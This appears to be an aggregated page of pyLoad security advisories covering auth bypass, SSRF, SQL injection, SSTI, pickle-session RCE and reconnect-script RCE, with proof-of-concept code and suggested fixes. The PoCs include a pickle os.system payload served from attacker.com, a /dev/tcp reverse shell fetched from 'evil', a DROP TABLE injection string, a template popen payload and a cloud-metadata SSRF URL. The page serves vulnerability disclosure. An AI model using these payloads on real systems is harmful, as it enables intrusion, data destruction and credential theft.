See how pyload compares to other vendors in security performance
Summary
The /web/<path:filename> route in src/pyload/webui/app/blueprints/appblueprint.py renders Jinja2 templates without any authentication requirement. Every equivalent direct route (/logs, /settings, /queue, /dashboard, etc.) is protected by @loginrequired, but the underlying templates for all of these pages are accessible unauthenticated via this endpoint. Combined with an exception attribute typo in src/pyload/webui/app/handlers.py (exc.desc instead of exc.description), internal Jinja2 variable names are leaked in HTTP 500 response bodies to unauthenticated callers. An attacker can also enumerate all valid template names by observing 200 vs 500 response differentiation.
Details
Bug 1 — Missing authentication on /web/<path:filename>
File: src/pyload/webui/app/blueprints/appblueprint.py, lines 32–36
python @bp.route("/web/<path:filename>", endpoint="web") def render(filename): # ← no @loginrequired mimetype = mimetypes.guesstype(filename)[0] or "text/html" data = rendertemplate(filename) return flask.Response(data, mimetype=mimetype)
Every other sensitive route in the same file is protected:
python @bp.route("/logs", ...) @loginrequired("LIST") # protected
@bp.route("/settings", ...) @loginrequired("SETTINGS") # protected
@bp.route("/files", ...) @loginrequired("DOWNLOAD") # protected
The /web/<path:filename> route has no such decorator, allowing any unauthenticated HTTP client to render arbitrary templates by supplying their filename in the URL path.
Bug 2 — Exception attribute typo causes internal details in error responses
File: src/pyload/webui/app/handlers.py, lines 12–20
python def handleexceptionerror(exc): try: code = exc.code desc = exc.desc # BUG: attribute does not exist on standard exceptions except AttributeError: # always raised — falls here for every exception code = 500 desc = exc # raw exception object assigned to desc message = f"Error {code}: {desc}" # str(exc) embedded in response body return rendertemplate("error.html", messages=[message]), code
exc.desc does not exist on standard Python or Jinja2 exceptions. The AttributeError branch is always taken for template rendering failures. desc is set to the raw exception object, and str(exc) is embedded in the HTML response body returned to the unauthenticated caller. For a UndefinedError this produces 'conf' is undefined. For TemplateNotFound it produces the template filename.
PoC
Tested against pyload-ng develop branch (0.5.0b3.dev), default install, no authentication cookies or credentials used in any request.
Test 1 — Unauthenticated page render confirmed (HTTP 200) bash curl -si http://TARGET:8000/web/logs.html | grep "HTTP\|title"
Test 2 — System info page with sensitive field labels rendered unauthenticated curl -s http://TARGET:8000/web/info.html | grep "Python Version\|Installation Folder\|Config Folder\|OS Platform" html
<dt><b>Python Version:</b></dt> <dt><b>OS Platform:</b></dt> <dt><b>Installation Folder:</b></dt> <dt><b>Config Folder:</b></dt>
Test 3 — Internal Jinja2 variable name leaked in HTTP 500 body (unauthenticated) curl -si http://TARGET:8000/web/settings.html | grep "HTTP\|Error" HTTP/1.1 500 INTERNAL SERVER ERROR <p><b>Error 500: 'conf' is undefined</b></p> Test 4 — Template enumeration via response code differentiation curl -o /dev/null -sw "%{httpcode}\n" http://TARGET:8000/web/logs.html curl -o /dev/null -sw "%{httpcode}\n" http://TARGET:8000/web/info.html curl -o /dev/null -sw "%{httpcode}\n" http://TARGET:8000/web/dashboard.html curl -o /dev/null -sw "%{httpcode}\n" http://TARGET:8000/web/settings.html curl -o /dev/null -sw "%{httpcode}\n" http://TARGET:8000/web/queue.html curl -o /dev/null -sw "%{httpcode}\n" http://TARGET:8000/web/collector.html curl -o /dev/null -sw "%{httpcode}\n" http://TARGET:8000/web/filemanager.html curl -o /dev/null -sw "%{httpcode}\n" http://TARGET:8000/web/nonexistentxyz.html 200 ← logs.html (exists, renders without auth) 200 ← info.html (exists, renders without auth) 200 ← dashboard.html (exists, renders without auth) 500 ← settings.html (exists, missing auth context — leaks 'conf' is undefined) 500 ← queue.html (exists, missing auth context) 500 ← collector.html (exists, missing auth context) 500 ← filemanager.html (exists, missing auth context) 500 ← nonexistentxyz (does not exist — same 500, no differentiation on miss)
###Impact An unauthenticated remote attacker can:
Render application page templates without any credentials, bypassing the access control model enforced on all direct routes Access the system information page (info.html) exposing field structure for Python version, OS platform, pyLoad version, installation folder, config folder, and WebUI port — values are populated via JS but field labels confirm application structure Access the full log viewer UI (logs.html) and download dashboard (dashboard.html) without authentication Extract internal Jinja2 template variable names from HTTP 500 response bodies ('conf' is undefined, etc.) Enumerate all valid template filenames by observing 200 vs 500 response codes
The access control inconsistency is the core issue: the authentication model enforced on direct routes is completely bypassed via the /web/<path:filename> endpoint. Any future template that renders sensitive data server-side would be immediately exposed to unauthenticated access through this route.
Summary pyload-ng WebUI returns full Python traceback details to clients on unhandled exceptions.
Because /web/<path:filename> is reachable without authentication and renders attacker-controlled template names, an unauthenticated user can reliably trigger a server exception (for example by requesting a non-existent template) and receive internal stack traces in the HTTP response.
Details The issue is caused by the combination of:
1. Unauthenticated template-render route: - src/pyload/webui/app/blueprints/appblueprint.py:32-36 - @bp.route("/web/<path:filename>", endpoint="web") - data = rendertemplate(filename) with user-controlled filename - no @loginrequired(...) on this route
2. Global exception handler exposes traceback to response: - src/pyload/webui/app/handlers.py:14-27 - tb = traceback.formatexc() - messages.extend(tb.split('\n')) - returned in rendered error page for all exceptions
3. Error page renders all messages: - src/pyload/webui/app/themes/modern/templates/base.html:217-219 - loops over messages and prints them in response HTML
So any unhandled exception can disclose internal implementation details (stack frames, source paths, exception metadata) to remote unauthenticated clients.
This is a core behavior issue in default WebUI error handling
PoC python #!/usr/bin/env python3 from future import annotations
import re import shutil import tempfile import traceback from pathlib import Path
ROOT = Path(file).resolve().parent / "pyload" / "src" / "pyload"
def readtext(rel: str) -> str: return (ROOT / rel).readtext(encoding="utf-8")
def routehasnologinrequired(appblueprint: str) -> bool: m = re.search( r'@bp\\.route\\("/web/<path:filename>", endpoint="web"\\)\\s' r"def render\\(filename\\):(?P<body>.?)(?:\\n\\n@bp\\.route|\\Z)", appblueprint, re.DOTALL, ) if not m: return False blockstart = max(0, m.start() - 200) block = appblueprint[blockstart:m.end()] return "@loginrequired(" not in block
def main() -> None: workdir = Path(tempfile.mkdtemp(prefix="pyload-traceback-infoleak-")) try: appblueprint = readtext("webui/app/blueprints/appblueprint.py") handlers = readtext("webui/app/handlers.py") basetemplate = readtext("webui/app/themes/modern/templates/base.html")
unauthwebroute = '/web/<path:filename>' in appblueprint and routehasnologinrequired(appblueprint) usercontrolledtemplatename = "rendertemplate(filename)" in appblueprint handlerusestraceback = "traceback.formatexc()" in handlers handlerappendstrace = "messages.extend(tb.split('\\n'))" in handlers globalexceptionhandler = "(Exception, handleexceptionerror)" in handlers templaterendersmessages = "{% for message in messages %}" in basetemplate and "{{message}}" in basetemplate
leakedtracebackkeyword = False leakedexceptiontype = False try: raise RuntimeError("forced-poc-error") except Exception: tb = traceback.formatexc() messages = [f"Error 500: forced-poc-error"] messages.extend(tb.split("\\n")) joined = "\\n".join(messages) leakedtracebackkeyword = "Traceback (most recent call last)" in joined leakedexceptiontype = "RuntimeError: forced-poc-error" in joined
reprosuccess = all( [ unauthwebroute, usercontrolledtemplatename, handlerusestraceback, handlerappendstrace, globalexceptionhandler, templaterendersmessages, leakedtracebackkeyword, leakedexceptiontype, ] )
print("unauthwebroute=", unauthwebroute) print("usercontrolledtemplatename=", usercontrolledtemplatename) print("handlerusestraceback=", handlerusestraceback) print("handlerappendstrace=", handlerappendstrace) print("globalexceptionhandler=", globalexceptionhandler) print("templaterendersmessages=", templaterendersmessages) print("leakedtracebackkeyword=", leakedtracebackkeyword) print("leakedexceptiontype=", leakedexceptiontype) print("tracebackinfoleakreprosuccess=", reprosuccess) finally: shutil.rmtree(workdir, ignoreerrors=True) print("cleanupdone=True")
if name == "main": main()
Observed result: text unauthwebroute= True usercontrolledtemplatename= True handlerusestraceback= True handlerappendstrace= True globalexceptionhandler= True templaterendersmessages= True leakedtracebackkeyword= True leakedexceptiontype= True tracebackinfoleakreprosuccess= True cleanupdone=True
Impact - Vulnerability type: Information disclosure (stack trace / internal path leakage). - Attack surface: unauthenticated WebUI request path. - Exposes internal error details that help attackers map application internals and improve exploit reliability for follow-on attacks.
pyLoad is a free and open-source download manager written in Python. Versions up to and including 0.5.0b3.dev97 cache role and permission in the session at login and continues to authorize requests using these cached values, even after an admin changes the user's role/permissions in the database. As a result, an already logged-in user can keep old (revoked) privileges until logout/session expiry, enabling continued privileged actions. This is a core authorization/session-consistency issue and is not resolved by toggling an optional security feature. Commit e95804fb0d06cbb07d2ba380fc494d9ff89b68c1 contains a fix for the issue.
pyLoad is a free and open-source download manager written in Python. Prior to 0.5.0b3.dev97, the /json/packageorder, /json/linkorder, and /json/abortlink WebUI JSON endpoints enforce weaker permissions than the core API methods they invoke. This allows authenticated low-privileged users to execute MODIFY operations that should be denied by pyLoad's own permission model. This vulnerability is fixed in 0.5.0b3.dev97.
Summary
The fix for CVE-2026-33509 (GHSA-r7mc-x6x7-cqxx) added an ADMINONLYOPTIONS set to block non-admin users from modifying security-critical config options. The storagefolder option is not in this set and passes the existing path restriction because the Flask session directory is outside both PKGDIR and userdir. A user with SETTINGS and ADD permissions can redirect downloads to the Flask filesystem session store, plant a malicious pickle payload as a predictable session file, and trigger arbitrary code execution when any HTTP request arrives with the corresponding session cookie.
Required Privileges
The chain requires a single non-admin user with both SETTINGS (to change storagefolder) and ADD (to submit a download URL) permissions. These are independent bitmask flags that can be assigned together by an admin. The final RCE trigger is unauthenticated: any HTTP request with the crafted session cookie causes deserialization.
Root Cause
storagefolder at src/pyload/core/api/init.py:238-246 has a path check that blocks writing inside PKGDIR or userdir using os.path.realpath. However, Flask's filesystem session directory (/tmp/pyLoad/flask/ in the standard Docker deployment) is outside both restricted paths.
pyload configures Flask with SESSIONTYPE = "filesystem" at init.py:127. The cachelib FileSystemCache stores session files as md5("session:" + sessionid) and deserializes them with pickle.load() on every request that carries the corresponding session cookie.
Proven RCE Chain
Tested against lscr.io/linuxserver/pyload-ng:latest Docker image.
Step 1 — Change download directory to Flask session store:
POST /api/setconfigvalue {"section":"core","category":"general","option":"storagefolder","value":"/tmp/pyLoad/flask"}
The path check resolves /tmp/pyLoad/flask/ via realpath. It does not start with PKGDIR (/lsiopy/.../pyload/) or userdir (/config/). Check passes.
Step 2 — Compute the target session filename:
md5("session:ATTACKERSESSIONID") = 92912f771df217fb6fbfded6705dd47c
Flask-Session uses cachelib which stores files as md5(keyprefix + sessionid). The default key prefix is session:.
Step 3 — Host and download the malicious pickle payload:
import pickle, os, struct class RCE: def reduce(self): return (os.system, ("id > /tmp/pyload-rce-success",)) session = {"permanent": True, "rce": RCE()} payload = struct.pack("I", 0) + pickle.dumps(session, protocol=2) # struct.pack("I", 0) = cachelib timeout header (0 = never expires)
Serve as http://attacker.com/92912f771df217fb6fbfded6705dd47c and submit:
POST /api/addpackage {"name":"x","links":["http://attacker.com/92912f771df217fb6fbfded6705dd47c"],"dest":1}
The file is saved to /tmp/pyLoad/flask/92912f771df217fb6fbfded6705dd47c.
Step 4 — Trigger deserialization (unauthenticated):
curl http://target:8000/ -b "pyloadsession8000=ATTACKERSESSIONID"
The session cookie name is pyloadsession + the configured port number (init.py:128).
Flask loads the session file. cachelib reads the 4-byte timeout header, confirms the entry is not expired, and calls pickle.load(). The RCE gadget executes.
Result:
$ docker exec pyload-poc cat /tmp/pyload-rce-success uid=1000(abc) gid=1000(users) groups=1000(users)
Impact
A non-admin user with SETTINGS + ADD permissions achieves arbitrary code execution as the pyload service user. The final trigger requires no authentication. The attacker can:
- Execute arbitrary commands with the privileges of the pyload process - Read environment variables (API keys, credentials) - Access the filesystem (download history, user database) - Pivot to other network resources
Suggested Fix
Add storagefolder to the ADMINONLY set, or extend the path check to block writing to auto-consumed temporary directories (Flask session store, Jinja bytecode cache, pyload temp directory):
ADMINONLYOPTIONS = { ... ("general", "storagefolder"), # ADDED: prevents session poisoning RCE ... }
Also correct the existing wrong option names:
("webui", "sslcertfile"), # FIXED: was "sslcert" (dead code) ("webui", "sslkeyfile"), # FIXED: was "sslkey" (dead code)
Summary
PyLoad's download engine accepts arbitrary URLs without validation, enabling Server-Side Request Forgery (SSRF) attacks. An authenticated attacker can exploit this to access internal network services and exfiltrate cloud provider metadata. On DigitalOcean droplets, this exposes sensitive infrastructure data including droplet ID, network configuration, region, authentication keys, and SSH keys configured in user-data/cloud-init.
Details
The vulnerability exists in PyLoad's download package functionality (/api/addPackage endpoint), which directly passes user-supplied URLs to the download engine without validating the destination. The affected code in src/pyload/webui/app/blueprints/apiblueprint.py:
python @bp.route("/addPackage", methods=["POST"], endpoint="addpackage") @loginrequired def addpackage(): name = flask.request.form["addname"] links = flask.request.form["addlinks"].split("\n") # ... validation omitted ... api.addpackage(name, links, dest) # No URL validation
The download engine in src/pyload/core/managers/download.py accepts any URL scheme and initiates HTTP requests to arbitrary destinations, including internal network addresses and cloud metadata endpoints.
Proof of Concept
Live Demo Instance: http://143.244.141.81:8000 Credentials: pyload / pyload
- Login into the pyload application - Navigate to package tab and enter the package name and fill the Link section with the following URL
http://169.254.169.254/metadata/v1.json
<img width="1851" height="786" alt="image" src="https://github.com/user-attachments/assets/18e7aedf-7663-4a57-8f3e-5200be2c958e" />
- Now navigate to Files section and download the link.
<img width="1429" height="870" alt="image" src="https://github.com/user-attachments/assets/9b8b9cd6-afb7-461c-b058-a3cc4f26e2e6" />
- It was observed that we are able to Read the Digital Ocean Metadata
<img width="1872" height="837" alt="image" src="https://github.com/user-attachments/assets/d30d2d74-53e9-46f8-8206-894a275ac831" />
The downloaded v1.json file contains sensitive cloud infrastructure data: - Droplet ID: Unique identifier for the instance - Network Configuration: Public/private IP addresses, VPC topology - Authentication Keys: Cloud provider auth tokens - SSH Keys: Public keys configured in droplet metadata - Region and Datacenter: Infrastructure location
Impact
Vulnerability Type: Server-Side Request Forgery (SSRF) CVSS Score: 7.7 - 9.1 (High to Critical, depending on cloud deployment)
Affected Systems - All PyLoad installations (version 0.5.0 and potentially earlier) - Critical Impact on cloud deployments (AWS EC2, DigitalOcean, Google Cloud, Azure) where metadata contains: - IAM credentials (AWS) - SSH private keys (configured in user-data) - API tokens and secrets - Database credentials stored in cloud-init
Attack Requirements - Valid PyLoad user account (any role - ADMIN or USER) - Network connectivity to PyLoad instance
Security Impact 1. Cloud Metadata Theft: Complete exfiltration of instance metadata 2. Lateral Movement: Discovery and enumeration of internal network services 3. Credential Exposure: Theft of cloud IAM credentials, SSH keys, API tokens 4. Infrastructure Mapping: Network topology, IP addressing, service discovery
Remediation
Implement URL validation in the download engine: 1. Whitelist allowed URL schemes (http/https only) 2. Block requests to private IP ranges (RFC 1918, link-local addresses) 3. Block cloud metadata endpoints (169.254.169.254, metadata.google.internal, etc.) 4. Implement request destination validation before initiating downloads
pyLoad is a free and open-source download manager written in Python. From version 0.4.20 to before version 0.5.0b3.dev97, the localcheck decorator in pyLoad's ClickNLoad feature can be bypassed by any remote attacker through HTTP Host header spoofing. This allows unauthenticated remote users to access localhost-restricted endpoints, enabling them to inject arbitrary downloads, write files to the storage directory, and execute JavaScript code. This issue has been patched in version 0.5.0b3.dev97.
Summary
The setconfigvalue() API endpoint allows users with the non-admin SETTINGS permission to modify any configuration option without restriction. The reconnect.script config option controls a file path that is passed directly to subprocess.run() in the thread manager's reconnect logic. A SETTINGS user can set this to any executable file on the system, achieving Remote Code Execution. The only validation in setconfigvalue() is a hardcoded check for general.storagefolder — all other security-critical settings including reconnect.script are writable without any allowlist or path restriction.
Details
The vulnerability chain spans two components:
1. Unrestricted config write — src/pyload/core/api/init.py:210-243
python @permission(Perms.SETTINGS) @post def setconfigvalue(self, category: str, option: str, value: Any, section: str = "core") -> None: self.pyload.addonmanager.dispatchevent( "configchanged", category, option, value, section ) if section == "core": if category == "general" and option == "storagefolder": # Forbid setting the download folder inside dangerous locations # ... validation only for storagefolder ... return
self.pyload.config.set(category, option, value) # No validation for any other option
The Perms.SETTINGS permission (value 128) is a non-admin permission flag. The only hardcoded validation is for general.storagefolder. The reconnect.script option is written directly to config with no path validation, allowlist, or sanitization.
2. Arbitrary script execution — src/pyload/core/managers/threadmanager.py:157-199
python def tryreconnect(self): if not ( self.pyload.config.get("reconnect", "enabled") and self.pyload.api.istimereconnect() ): return False
# ... checks if active downloads want reconnect ...
reconnectscript = self.pyload.config.get("reconnect", "script") if not os.path.isfile(reconnectscript): self.pyload.config.set("reconnect", "enabled", False) self.pyload.log.warning(self.("Reconnect script not found!")) return
# ... reconnect logic ...
try: subprocess.run(reconnectscript) # Executes attacker-controlled path except Exception: # ...
The reconnectscript value comes directly from config. The only check is os.path.isfile() — the file must exist but there is no allowlist, no path restriction, and no signature verification.
3. Attacker also controls timing via same SETTINGS permission
The attacker can set reconnect.enabled=True, reconnect.starttime, and reconnect.endtime through the same setconfigvalue() endpoint to control when execution occurs. togglereconnect() at line 321 requires only Perms.STATUS — an even lower privilege.
4. Additional privilege escalation via config access
Beyond RCE, the same unrestricted config write allows SETTINGS users to: - Read proxy credentials (proxy.username/proxy.password) in plaintext via getconfig() - Redirect syslog to an attacker-controlled server (log.sysloghost/log.syslogport) - Disable SSL (webui.usessl=False), rebind to 0.0.0.0 (webui.host) - Modify SSL certificate/key paths to enable MITM
PoC
Step 1: Set reconnect script to an attacker-controlled executable
Via API: bash Authenticate and get session (as user with SETTINGS permission) curl -c cookies.txt -X POST 'http://target:8000/api/login' \ -d 'username=settingsuser&password=pass123'
Set reconnect script to a known executable on the system curl -b cookies.txt -X POST 'http://target:8000/api/setconfigvalue' \ -d 'category=reconnect&option=script&value=/tmp/exploit.sh§ion=core'
Via Web UI: bash curl -b cookies.txt -X POST 'http://target:8000/json/saveconfig?category=core' \ -d 'reconnect|script=/tmp/exploit.sh&reconnect|enabled=True'
Step 2: Enable reconnect and set timing window
bash curl -b cookies.txt -X POST 'http://target:8000/api/setconfigvalue' \ -d 'category=reconnect&option=enabled&value=True§ion=core'
curl -b cookies.txt -X POST 'http://target:8000/api/setconfigvalue' \ -d 'category=reconnect&option=starttime&value=00:00§ion=core'
curl -b cookies.txt -X POST 'http://target:8000/api/setconfigvalue' \ -d 'category=reconnect&option=endtime&value=23:59§ion=core'
Step 3: Script executes when thread manager calls tryreconnect()
The thread manager's run() method (called repeatedly by the core loop) invokes tryreconnect(), which calls subprocess.run(reconnectscript) at threadmanager.py:199.
Note on exploitation constraints: The file at the target path must exist (os.path.isfile() check) and be executable. With shell=False (subprocess.run default), no arguments are passed. If the attacker also has ADD permission (common for non-admin users), they can use pyLoad to download an archive containing an executable script, which may retain execute permissions after extraction.
Impact
- Remote Code Execution: A non-admin user with SETTINGS permission can execute arbitrary programs on the server as the pyLoad process user - Privilege escalation: The SETTINGS permission is described as "can access settings" — granting it is not expected to grant arbitrary code execution capability - Credential exposure: SETTINGS users can read proxy credentials, SSL key paths, and other sensitive config values via getconfig() - Network reconfiguration: SETTINGS users can disable SSL, change bind address, redirect logging, and modify other security-critical network settings
Recommended Fix
Add an allowlist or category-level restriction in setconfigvalue() that prevents non-admin users from modifying security-critical options:
python In setconfigvalue(), after the storagefolder check: ADMINONLYOPTIONS = { ("reconnect", "script"), ("webui", "host"), ("webui", "usessl"), ("webui", "sslcert"), ("webui", "sslkey"), ("log", "sysloghost"), ("log", "syslogport"), ("proxy", "username"), ("proxy", "password"), }
if section == "core" and (category, option) in ADMINONLYOPTIONS: # Require ADMIN role for security-critical settings if not self.pyload.api.userdata.get("role") == Role.ADMIN: raise PermissionError(f"Admin role required to modify {category}.{option}")
Additionally, consider validating the reconnect.script path against an allowlist of directories or requiring admin approval for script path changes.
pyLoad is a free and open-source download manager written in Python. Versions before 0.5.0b3.dev97 are vulnerable to path traversal during password verification of certain encrypted 7z archives (encrypted files with non-encrypted headers), causing arbitrary file deletion outside of the extraction directory. During password verification, pyLoad derives an archive entry name from 7z listing output and treats it as a filesystem path without constraining it to the extraction directory. This issue has been fixed in version 0.5.0b3.dev97.
Dear Maintainers, I am writing to you on behalf of the Tencent AI Sec. We have identified a potential vulnerability in one of your products and would like to report it to you for further investigation and mitigation.
Summary The jk parameter is received in pyLoad CNL Blueprint. Due to the lack of jk parameter verification, the jk parameter input by the user is directly determined as dykpy.evaljs(), resulting in the server CPU being fully occupied and the web-ui becoming unresponsive.
Details - Endpoint: flash/addcrypted2 - affected file: https://github.com/pyload/pyload/blob/develop/src/pyload/webui/app/blueprints/cnlblueprint.py#L123 https://github.com/pyload/pyload/blob/develop/src/pyload/core/utils/misc.py#L42
affected code python @bp.route("/flash/addcrypted2", methods=["POST"], endpoint="addcrypted2") @localcheck def addcrypted2(): package = flask.request.form.get( "package", flask.request.form.get("source", flask.request.form.get("referer")) ) crypted = flask.request.form["crypted"] jk = flask.request.form["jk"] packpassword = flask.request.form.get("passwords")
crypted = standardb64decode(unquote(crypted.replace(" ", "+"))) jk = evaljs(f"{jk} f()")
python def evaljs(script, es6=False): if sys.versioninfo < (3, 12): return (js2py.evaljs6 if es6 else js2py.evaljs)(script) else: return dukpy.evaljs(script)
PoC download pyload and run locally, send the following request - PoC shell curl -X POST "http://localhost:8000/flash/addcrypted2" \ -H "Content-Type: application/x-www-form-urlencoded" \ -d "crypted=SGVsbG8gd29ybGQ=" \ -d "passwords=pyload" \ -d "jk=const start = Date.now();%0Awhile (Date.now() - start < 30000) {} //" The 30000 can be modified to any large value.
Impact System resources are exhausted, causing services to be temporarily interrupted or stopped, making them inaccessible to normal users.
Use the following command to check CPU usage shell top -pid $(pgrep -f "pyload.main") or shell top -pid $(pgrep -f "pyload")
The CPU is fully occupied <img width="1209" height="134" alt="image" src="https://github.com/user-attachments/assets/5f9338fe-90c8-4e99-bd8e-a5b5c5a81a6e" />
web-ui unresponsive <img width="1209" height="496" alt="image" src="https://github.com/user-attachments/assets/7100cdb6-e4d5-4d0c-a138-51b08a7b1fbd" />
Summary The parameter addlinks in the API /json/addpackage is vulnerable to SQL Injection. SQL injection vulnerabilities can lead to sensitive data leakage.
Details - Affected file:https://github.com/pyload/pyload/blob/develop/src/pyload/core/database/filedatabase.py#L271 - Affected code: python @style.queue def updatelinkinfo(self, data): """ data is list of tuples (name, size, status, url) """ self.c.executemany( "UPDATE links SET name=?, size=?, status=? WHERE url=? AND status IN (1,2,3,14)", data, ) ids = [] statuses = "','".join(x[3] for x in data) self.c.execute(f"SELECT id FROM links WHERE url IN ('{statuses}')") for r in self.c: ids.append(int(r[0])) return ids statuses is constructed from data, and data is the value of the addlinks parameter entered by the user through /json/addpackge. Because {statuses} is directly spliced into the SQL statement, it leads to the SQL injection vulnerability.
- Vulnerability Chain xml josnblueprint.py#addpackage src/pyload/core/api/init.py#addpackage src/pyload/core/managers/filemanager.py#addlinks src/pyload/core/threads/infothread.py#run src/pyload/core/threads/infothread.py#updateinfo src/pyload/core/managers/filemanager.py#updatefileinfo src/pyload/core/database/filedatabase.py#updatelinkinfo
PoC python import requests
if name == "main": url = "http://localhost:8000/json/addpackage" data = { "addname": "My Downloads1", "adddest": "0", "addlinks": "https://www.dailymotion.com/video/x8zzzzz') or 1; Drop table users;--", "addpassword": "mypassword" }
response = requests.post(url, cookies=yourcookies, data=data) print(response.statuscode, response.text) <img width="1599" height="827" alt="image" src="https://github.com/user-attachments/assets/9bdcef37-59b8-4e60-a2b5-beb8a88c3202" />
Remediation python def updatelinkinfo(self, data): """ data is list of tuples (name, size, status, url) """ self.c.executemany( "UPDATE links SET name=?, size=?, status=? WHERE url=? AND status IN (1,2,3,14)", data, ) # 提取所有url urls = [x[3] for x in data] # 构建参数化查询,避免SQL注入 placeholders = ','.join(['?'] len(urls)) query = f"SELECT id FROM links WHERE url IN ({placeholders}) AND status IN (1,2,3,14)" self.c.execute(query, urls) ids = [int(row[0]) for row in self.c.fetchall()] return ids
Impact Attackers can modify or delete data in the database, causing data errors or loss.
Summary An unsafe JavaScript evaluation vulnerability in pyLoad’s CAPTCHA processing code allows unauthenticated remote attackers to execute arbitrary code in the client browser and potentially the backend server. Exploitation requires no user interaction or authentication and can result in session hijacking, credential theft, and full system rce.
Details The vulnerable code resides in javascript function onCaptchaResult(result) { eval(result); // Direct execution of attacker-controlled input }
The onCaptchaResult() function directly passes CAPTCHA results (sent from the user) into eval() No sanitization or validation is performed on this input A malicious CAPTCHA result can include JavaScript such as fetch() or childprocess.exec() in environments using NodeJS Attackers can fully hijack sessions and pivot to remote code execution on the server if the environment allows it
Reproduction Methods 1. Official Source Installation: bash git clone https://github.com/pyload/pyload cd pyload git checkout 0.4.20 python -m pip install -e . pyload --userdir=/tmp/pyload
2. Virtual Environment: bash python -m venv pyload-env source pyload-env/bin/activate pip install pyload==0.4.20 pyload
CAPTCHA Endpoint Verification
Technical Clarification: 1. The vulnerable endpoint is actually: /interactive/captcha
2. Complete PoC Request: http POST /interactive/captcha HTTP/1.1 Host: localhost:8000 Content-Type: application/x-www-form-urlencoded
cid=123&response=1%3Balert(document.cookie)
3. Curl Command Correction: bash curl -X POST "http://localhost:8000/interactive/captcha" \ -d "cid=123&response=1%3Balert(document.cookie)"
1. Vulnerable Code Location: The eval() vulnerability is confirmed in: src/pyload/webui/app/static/js/captcha-interactive.user.js
Resources
1. https://github.com/pyload/pyload/commit/909e5c97885237530d1264cfceb5555870eb9546 2. OWASP: Avoid eval() 3. #4586
An open redirection vulnerability exists in pyload/pyload version 0.5.0. The vulnerability is due to improper handling of the 'next' parameter in the login functionality. An attacker can exploit this vulnerability to redirect users to malicious sites, which can be used for phishing or other malicious activities. The issue is fixed in pyload-ng 0.5.0b3.dev79.
Summary The folder /.pyload/scripts has scripts which are run when certain actions are completed, for e.g. a download is finished. By downloading a executable file to a folder in /scripts and performing the respective action, remote code execution can be achieved. A file can be downloaded to such a folder by changing the download folder to a folder in /scripts path and using the /flashgot API to download the file.
Details
Configuration changes 1. Change the download folder to /home/<user>/.pyload/scripts 2. Change permissions for downloaded files: 1. Change permissions of downloads: on 2. Permission mode for downloaded files: 0744
Making the request to download files
The flashgot API provides functionality to download files from a provided URL. Although pyload tries to prevent non-local requests from being able to reach this API, it relies on checking the Host header and the Referer header of the incoming request. Both of these can be set by an attacker to arbitrary values, thereby bypassing these checks.
Referer header check def flashgot(): if flask.request.referrer not in ( "http://localhost:9666/flashgot", "http://127.0.0.1:9666/flashgot", ): flask.abort(500) ... Host header check for local check def localcheck(func): @wraps(func) def wrapper(args, kwargs): remoteaddr = flask.request.environ.get("REMOTEADDR", "0") httphost = flask.request.environ.get("HTTPHOST", "0")
if remoteaddr in ("127.0.0.1", "::ffff:127.0.0.1", "::1", "localhost") or httphost in ( "127.0.0.1:9666", "[::1]:9666", ): return func(args, kwargs) else: return "Forbidden", 403
return wrapper
Once the file is downloaded to a folder in the scripts folder, the attacker can perform the respective action, and the script will be executed
PoC Create a malicious file. I have created a reverse shell #!/bin/bash bash -i >& /dev/tcp/evil/9002 0>&1
Host this file at some URL, for eg: http://evil
Create a request like this for the flashgot API. I am using downloadfinished folder as the destination folder. Scripts in this folder are run when a download is completed. import requests
url = "http://pyload/flashgot" headers = {"host": "127.0.0.1:9666", "Referer": "http://127.0.0.1:9666/flashgot"}
data = { "package": "downloadfinished", "passwords": "optionalpassword", "urls": "http://evil/exp.sh", "autostart": 1, }
response = requests.post(url, data=data, headers=headers) When the above request is made, exp.sh will be downloaded to /scripts/downloadfinished folder. For all subsequent downloads, this script will be run. Sending the request again causes a download of the file again, and when the download is complete, the script is run.
I also have a listener on my machine which receives the request from the pyload server. When the script executes, I get a connection back to my machine
Screenshots Download folder
<img width="672" alt="1" src="https://github.com/user-attachments/assets/77fc5202-bed2-41a2-98ae-9cb7b1315f76">
exp.sh is downloaded
<img width="714" alt="2" src="https://github.com/user-attachments/assets/5e6e19db-2a5c-48f4-9973-817528b5b9ec">
Script is run
<img width="714" alt="3" src="https://github.com/user-attachments/assets/34fbdaee-50ba-46a8-a372-ec8c91d03aa9">
Reverse shell connection is received
<img width="314" alt="4" src="https://github.com/user-attachments/assets/4713d56e-e850-47ad-99b3-cab0c7bba800">
Impact This vulnerability allows an attacker with access to change the settings on a pyload server to execute arbitrary code and completely compromise the system
Summary An authenticated user can change the download folder and upload a crafted template to the specified folder lead to remote code execution
Details example version: 0.5 file:src/pyload/webui/app/blueprints/appblueprint.py python @bp.route("/render/<path:filename>", endpoint="render") def render(filename): mimetype = mimetypes.guesstype(filename)[0] or "text/html" data = rendertemplate(filename) return flask.Response(data, mimetype=mimetype) So, if we can control file in the path "pyload/webui/app/templates" in latest version and path in "module/web/media/js"(the difference is the older version0.4.20 only renders file with extension name ".js"), the rendertemplate func will works like SSTI(server-side template injection) when render the evil file we control.
in /settings page and the choose option general/general, where we can change the download folder. !image
Also, we can find the pyLoad install folder in /info page !image So, we can change the value of Download folder to the template path. Then through /json/addpackage we can upload a crafted template file to RCE. python @bp.route("/json/addpackage", methods=["POST"], endpoint="addpackage") @apivercheck @loginrequired("ADD") def addpackage(): api = flask.currentapp.config["PYLOADAPI"]
packagename = flask.request.form.get("addname", "New Package").strip() queue = int(flask.request.form["adddest"]) links = [l.strip() for l in flask.request.form["addlinks"].splitlines()] pw = flask.request.form.get("addpassword", "").strip("\n\r")
try: file = flask.request.files["addfile"]
if file.filename: if not packagename or packagename == "New Package": packagename = file.filename
filepath = os.path.join( api.getconfigvalue("general", "storagefolder"), "tmp" + file.filename ) file.save(filepath) links.insert(0, filepath)
except Exception: pass
urls = [url for url in links if url.strip()] pack = api.addpackage(packagename, urls, queue) if pw: data = {"password": pw} api.setpackagedata(pack, data)
return jsonify(True) PoC First login into the admin page, then visit the info page to get the path of pyload installation folder. Second, change the download folder to PYLOADINSTALLDIR/ webui/app/templates/ Third, upload crafted template file through /json/addpackage through parameter addfile the content of crafted template file and its filename is "341.html": {{x.init.globals['builtins']'eval'.popen('whoami').read()")}} !image Last, visit http://TARGET/render/tmp341.html to trigger the RCE !image !image
